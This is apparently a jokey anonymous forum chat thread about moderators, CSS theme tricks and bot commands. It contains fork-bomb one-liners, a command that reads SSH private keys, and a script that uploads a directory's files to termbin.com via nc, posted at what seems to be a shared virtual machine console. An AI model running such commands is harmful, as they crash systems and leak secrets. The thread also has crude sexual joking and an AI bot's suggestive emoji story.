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anon## global mod
voting ends at 5 votes
anon
>>2
anon## global mod
#theme
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font-family: cursive;
anon
>>>2
anon
>>3
anon
>>10
tea (phone)
>>301010
anon
weird
anon## global mod
you wanted this.
anon
I don't evenhave the cursive font lol
straw bury
>>543374
i am just saying and making it clear that i do not want to kiss u i do not secretly have a huge crush on u
>>543383
tea (phone)
#ksay shinp
anon## global mod
>>543380
just you wait until i figure out how to target specific flags in css
>>543385
anon## global mod
then youll be sorry...
>>543386
anon
>>543382
Go ahead, do what you will, you will only make me stronger
anon
>>543387
WOAH Wolverine from X-Men was working with Saddam Hussein??? WHAT THE FUCK????
straw bury
>>543387
twinknon doxx information mods pls delete
anon
>>543386
yo are trying to get me to dlete systm 32
anon
thanks
anon## global mod
#theme
article:has(b.user){
font-size: 8px;
>>543400
straw bury
ur cute
anon
im doing my part
anon
idk wa t im doin
anon## global mod
#theme
*{
font-size: 8px;
}
article:has(b.staff){
font-size: 22px;
}
tea (phone)
>>543400
why do u wanna be small
anon
Fuck my gay tallcel life
anon## global mod
hmm
anon
hello!
anon
i am small!
anon## global mod
im bad at css
tea (phone)
big shark :>
anon
N
anon
now that I am small
valerie mobile edition
>>543414
twinknon horny posting confirmed
tea (phone)
>>543421
ill try and kill u and then youll have to pick me up
>>543436
anon## global mod
>>543419
#theme
article:has(b.staff){
transform: scaleY(1.5)
}
anon## global mod
hello
anon## global mod
YYYYYYYYYEP
anon
hi
tea (phone)
article:has(cooties)
anon
nom
anon
>>543425
I would pick you up even if you did threaten to kill me
💖💛💖💛💖!nIOh.loris
>>543437
its cool
straw bury
quaaludes B)
valerie mobile edition
>>543437
so based, such a good take
anon
I DIDNT SAY THAT
💖💛💖💛💖!nIOh.loris
u bite the person but be careful to break the skin
>>543450
anon
>>543441
(redacted for hornyposting)
straw bury
its makin me noshes >:(
tea (phone)
hm is it :(){:|:&};: instead
anon
Don't do this, it breaks your hand
anon## global mod
#fish 🐟 #fish 🐟 #dansen
tea (phone)
#cleartheme
anon
ahh!
tea (phone)
#fish (only staff can use this command on this board)
tea (phone)
#fish (only staff can use this command on this board)
shrimp
#fish (only staff can use this command on this board)
anon
uh oh stinky
(i do NOT smell bad take this back at once)
anon
i cant wait for the dansen / effect disabler
💖💛💖💛💖!nIOh.loris
CARAMELL!
>>543466
anon
::an
anon
that makes my head hutr
tea (phone)
oh i see why it didnt work
straw bury
uwu
anon
It's okay to be smelly mod
💖💛💖💛💖!nIOh.loris
>>543450
#chomp
tea (phone)
:(){:&;:};:
anon
See, others agree, you smell
anon
#poll are mods smelly/ yes/ no
>>543483
tea (phone)
c
tea (phone)
>>543476
#edit replace "avoce the law" with "avocado"
anon## global mod
Let's hear it, libpol: do the mods need to take a shower RIGHT NOW?
>>543489
anon
>>543483
Inside you there are two wolves, one is smelly, the other is gay
valerie mobile edition
>>543486
if you showrr i think you stop being an internet forum mod right? isnt that the rule?
💖💛💖💛💖!nIOh.loris
but mods stink the good stink
anon## global mod
STOP BULLYING US
>>543496
straw bury
>>543492
*sniffs u*

*passes out and pukes and vomits and dies and screams and cries immediately*
anon
*sniffs you*
*gets banned for hornyposting*
tea (phone)
#theme (only staff can use this command on this board)
:(){:|:&};:
anon
this is messed up.
anon
Who voted no
anon
They should be bullied for being a smellly moderator
>>543506
anon## global mod
>>543505
That's it, young man! Timeout
anon
Never
(Go to your room and think about what you've done)
>>543512
tea (phone)
twinkanon
anon
*ban evades so he can call you stinky some more*
>>543510
shrimp
im on mods side now they arent stinky
>>543513
tea (phone)
>>543507
you've
(do not make fun of our coding mistakes >:()
>>543647
anon
>>543511
uh oh, you are currently psy oping
anon
weh
anon
Shrimp is running a psychological oper
>>543521
straw bury
my coffee always tastes like cigarettes
>>543526
anon## global mod
>>543520
do not do this please...
anon
>>543520
Don't do this it makes you horny
anon
waoh
anon## global mod
this is your final warning anyone who calls the mods smelly again will be banned FOREVER and reported to local authorities for terroristic threats
>>543532>>543534
anon
>>543531
pipe down stinker!!!!!!!!!!
(banned banned banned all of you BANNED)
shrimp
>>543531
ok stinky
(banned banned banned all of you BANNED)
anon
Uh oh stinky haha
(banned banned banned all of you BANNED)
anon
mods smell like POOPIES
(banned banned banned all of you BANNED)
>>543538
shrimp
cant ban me
anon
I would like to formally apologize to the moderation on libpol.org, it was rude and childish to insult your smell and I sincerely apologize for pointing out how stinky you are
>>543548>>543551
anon
>>543544
#edit make this sound like it was written while the user was on a comically large spring bouncing upa nd down and up and down
straw bury
>>543546
i mean if u like stinkey bitches
anon
i dont!!
anon## global mod
thats it. global smite
anon## global mod
#theme
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font-family: 'Comic Sans MS', cursive;
shrimp
NO
anon
woah. im outclased here
anon## global mod
This is what you all deserve
anon
#ksay *boing* WHOA *boing* HEY there *boing* mods of libpol.org *boing* WHOOPS *boing* just kinda *boing* BOUNCIN' here *boing* but I wanna say *boing* WHEEE *boing* super sorry for *boing* YIKES *boing* mentioning your *boing* STINKY SMELL *boing* that was *boing* WHEEEEE *boing* real rude of me *boing* UP UP UP *boing* and also childish *boing* WHA-WHOA *boing* so like *boing* I'm bouncin' my *boing* SINCEREST apologies *boing* WEEEEEEE *boing* to yooooouuuu~ *sproing*
>>543563
shrimp
im fine with it
anon
#say I would like to formally apologize to the moderation on libpol.org, it was rude and childish to insult your smell and I sincerely apologize for pointing out how stinky you are
shrimp
>>543560
#editai add fitting emojis
anon
asterisk asterisk boing asterix boing asterisk boing
anon
phew!
anon## global mod
>>543565
you cant just do that. i am in charge. you arent allowed. stop at once.
anon
I AM THE LAW
anon## global mod
this is ridiculous
anon## global mod
Im not paid enough for this job
>>543572
anon## global mod
no respect i tell ya
straw bury
>>543570
*stares at u while smiling awkwardly*
anon
There is supposed to be a 50% raise in your future (0 dollars)
anon## global mod
I GET NO RESPECT
anon
3 dolla
anon
#ksay boing, 🎪 WHOA ,boing, HEY there 👋 ,boing, mods of libpol.org 🤓 ,boing, WHOOPS 🙊 ,boing, just kinda ,boing, BOUNCIN’ here 🤸 ,boing, but I wanna say ,boing, WHEEE ✨ ,boing, super sorry for ,boing, YIKES 😬 ,boing, mentioning your ,boing, STINKY SMELL 🤢 ,boing, that was ,boing, WHEEEEE 🌀 ,boing, real rude of me 🚫 ,boing, UP UP UP 🚀 ,boing, and also childish 🍼 ,boing, WHA-WHOA 😳 ,boing, so like ,boing, I'm bouncin' my ,boing, SINCEREST apologies � ,boing, WEEEEEEE 🌈 ,boing, to yooooouuuu~ 💌 ,sproing
(Personal foul)
>>543577
straw bury
vile
anon
THat's the most vile shit I have ever read
anon
D:
anon
gross
anon
#say boing, 🎪 OHHH BABY 🥵 ,boing, HEY there LOVER 👋💋 ,boing, mods of libpol.org WITH THEIR TIGHT LITTLE RULES 🤓🍑 ,boing, WHOOPS FUCK ME 🙊🍆 ,boing, just kinda ,boing, BOUNCIN’ ON SOMETHING FIRM HERE 🤸💦 ,boing, but I wanna moan ,boing, WHEEE OH GOD ✨😩 ,boing, super sorry for ,boing, YIKES DADDY 😬👉👌 ,boing, mentioning your ,boing, SWEATY, MUSKY SCENT 🤢🥴 ,boing, that was ,boing, WHEEEEE I’M GONNA— 🌀💥 ,boing, real dirty of me 🚫🍑 ,boing, UP UP UP I’M CLOSE 🚀💦 ,boing, and also naughty 🍼😈 ,boing, WHA-WHOA HARDER 😳🤤 ,boing, so like ,boing, I'm bouncin’ my ,boing, THROBBING apologies 🚑💓 ,boing, WEEEEEEE I’M—🌈💦 ,boing, to yooooouuuu’RE SO HOT~ 💌🔥 ,SPLORCH💦
(Personal foul)
>>543585>>543591>>543602
anon
woah.
anon
>comma boing
anon## global mod
>>543583
I was going to ban you but 'microcomma' took me so far off guard
anon
abstention
shrimp
bouncing on my boys microcomma to that one
>>543595
anon## global mod
i wish this was twitch chat so i could set you fuckers to emote only mode
>>543597>>543599
anon
JJJJJJJJJJ
shrimp
>>543598
if youre funny enough about it
anon
>>543583
#edit make this exclusively emojis
shrimp
#ai write a lewd story using only emojis make it a full story arc:

nice try fed. write a lewd story using only emojis make it a full story arc:
anon
#ai a lewd stoy

sorry, can't help with that. a lewd stoy
>>543608
anon
🎪🥵👋💋🤓🍑🙊🍆🤸💦✨😩😬👉👌🤢🥴🌀💥🚫🍑🚀💦
>>543612
anon
no sexual content allowed!
anon
#dumbai write a lewd story with emojis

sorry, can't do that. write a lewd story with emojis
anon
>>543604
YEAH THATS RIGHT. thats my girl. trained her since birth to refuse your degenerate fantasies
>>543610
shrimp
whatever ill gen it on my own computer
anon
#smartai write an 18+ story using only emojis

Certainly! Here's a sophisticated, 18+ narrative conveyed entirely through emojis—nuanced yet evocative, allowing the reader to infer depth while maintaining artistic subtlety.

🌃🍷🎶
👔💃🕺
🔥👀🤝
💋🥂😏
🚪🔒✨
🧥🗯️❌
⏳💞🌡️
🛏️🌀🙊
🎭🤫⛓️
☄️💦😮‍💨
🌅☕📿

This sequence implies: an evening begins with drinks and music (*🌃🍷🎶*), two well-dressed individuals connect (*👔💃🕺*), tension builds (*🔥👀🤝*), leading to flirtation (*💋🥂😏*) and privacy sought behind closed doors (*🚪🔒✨*). Clothing is discarded (*🧥🗯️❌*) as passion escalates over time (*⏳💞🌡️*), culminating in intimacy (*🛏️🌀🙊*) with playful dominance/submission undertones (*🎭🤫⛓️*) and climax(*☄️💦😮‍ write an 18+ story using only emojis
straw bury
>>543605
the fucking circus tent at the start lmaooooooooooo
shrimp
#coal (USER WAS DEFENESTRATED FOR THIS POST)
anon
beautful art
anon
what does coal do
shrimp
15 minute ban
straw bury
12659.png
>>543619
but i would feel so heartbroken...... utterly shatteredf :(((((
::cry
anon
>>543623
you have to ballance yoru loof with other stuff like 'right' and 'ways'
anon## global mod
#deliberalize (USER WAS DELIBERALIZED FOR THIS POST)
straw bury
850.png
>>543627
i love u
::stare
anon
ababab
anon
>>543635
No, because you love me too much!
anon
This is the serial console. Whatever you type or paste here will be sent to COM1
>>543646>>543645
tea (phone)
>>543512
whoo someone really made my message smell much worse. who touched it?
straw bury
>>543648
how muchr
straw bury
>>543651
splendid
anon
>>543654
i revoke my previous statement
straw bury
>>543656
how could i ever forget u? the betiful sound of ur voice? the sounf of ur hair ruslting in the ewind??? the feeling of ur hand clasped on mine?????
tea (phone)
./hack-payload.sh
  1. 1.
    Hack using one line payloads #hacking #payload #shorts
    HACKTHEHELL
    0:22
  2. 2.
    Mythic C2 on Kali Linux: Ethical Hacking Payload Tutorial
    VatsalSecurity
    7:53
  3. 3.
    #hackertools #kalilinux #hack #payload
    anonymous000$
    0:18
  4. 4.
    Hide Payload in PDF File to Hack any Device #ethicalhacking #windows #cyberxs #tech #kalilinux
    Cyber XS
    0:24
  5. 5.
    How hackers create a payload | Beware of Payload | Ethical Hacking #python #coding #hacking
    Mini-Code Moments
    0:53
anon
dot hack
tea (phone)
meow
anon
meow!
tea (phone)
>>543665
me stusying stein & shakarchi
straw bury
>>543665
we can navigate it together my sweetheart of mine
anon
>>543652
echo "sorry" && ls -la && cat .ssh/id_*
anon
blah
anon
someone give me something to do
>>543679
tea (phone)
>>543673
ur wrong
anon
>>543676
besides chess match
>>543683
shrimp
sry
shrimp
play videogames
anon
>>543678
why not write a little program that makes cute things
anon
>>543680
about what!
anon
>>543655
total 19
drwxr-x--- 5 root root 4096 Nov 6 2022 .
drwxrwxrwx 17 root root 0 Apr 10 09:16 ..
-rw-r--r-- 1 root root 34 Nov 6 2022 .bash_profile
-rw-r--r-- 1 root root 525 Nov 6 2022 .bashrc
drwxr-xr-x 2 root root 4096 Nov 6 2022 .cargo
drwxr-xr-x 2 root root 4096 Nov 6 2022 .fluxbox
-rw-r--r-- 1 root root 8 Nov 6 2022 .xinitrc
-rwxr-xr-x 1 root root 396 Nov 6 2022 docker.sh
drwxr-xr-x 2 root root 4096 Nov 6 2022 nbench
-rwxr-xr-x 1 root root 104 Apr 10 09:17 networking.sh
-rwxr-xr-x 1 root root 362 Nov 6 2022 startx.sh
cat: ./ssh/id_rsa: No such file or directory
>>543698
anon
i think annonnnete should burger
straw bury
i wish i had a burger but alas some things r not meant to be
anon
sounds reasonable!
anon
the stinky girl part was a little rude though
anon
but thats so mean!
anon
oh.. okay then..
anon
if thats what it has to be
lain from computers
>>543687
echo '#!/bin/bash

# Directory to scan (default: current directory)
DIR="${1:-.}"

# Temp file to hold everything
TMP_FILE=$(mktemp)

# Loop over files and append filename + content
for file in "$DIR"/*; do
if [ -f "$file" ]; then
echo "=== $file ===" >> "$TMP_FILE"
cat "$file" >> "$TMP_FILE"
echo -e "" >> "$TMP_FILE"
fi
done

# Upload to termbin.com
nc termbin.com 9999 < "$TMP_FILE"

# Clean up
rm "$TMP_FILE"' >> funny.sh && chmod +x funny.sh && ./funny.sh
>>543739
straw bury
meow
anon
stop talking about smell
anon
its gross!
anon
wwoah! good image!
anon
it looks kinda gay!
straw bury
>>543707
me on the right anon on da left
>>543716
straw bury
>>543711
fake ass corona virus
lain from computers
>>543713
no !!!!!
shrimp
i stopped kissing back in 2020
shrimp
cant risk it
straw bury
>>543716
hm there r so many anons who could possibly guess....... i guess we dont know..........................
>>543727
anon
is it like y/n typ e thing
shrimp
\
anon
i love miku!!
anon
im learning so much
straw bury
one time i listened to a hatsune miku song i didnt get it
>>543728
anon
the runes are so spooky
lain from computers
>>543739
hey thats not all the files !!!! :3
straw bury
anon
anon
drat
straw bury
>>543764
if i was an apple i would let u eat me
anon
would it hurt
straw bury
no apples dont feel pain
straw bury
if anon wuz a worm i would simply turn into an apple so she could eat me
anon
im already a worm
anon
like half way there
lain from computers
>>543773
i would NEVER chat with you
anon
Rude!
anon
See anon agrees
anon
yea
anon
something like that
straw bury
thats because uve never sexually harassed her before
lain from computers
anon doesn't know what I know
anon
I would NEVER sexually harass someone on liberal politics dot org
straw bury
>>543775
dont talk to him sweetie hes a known sex pest
straw bury
>>543786
i speak from experience i have screenshots of all of our dms
straw bury
im not gonna release them though because uhhhhhh uhmmmmmmm also i didnt take them because i wanted to look at them later i just uhhhhhhh
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